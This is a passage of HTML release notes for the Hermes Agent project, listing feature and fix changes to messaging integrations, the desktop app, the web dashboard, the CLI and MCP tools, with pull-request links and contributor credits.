<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
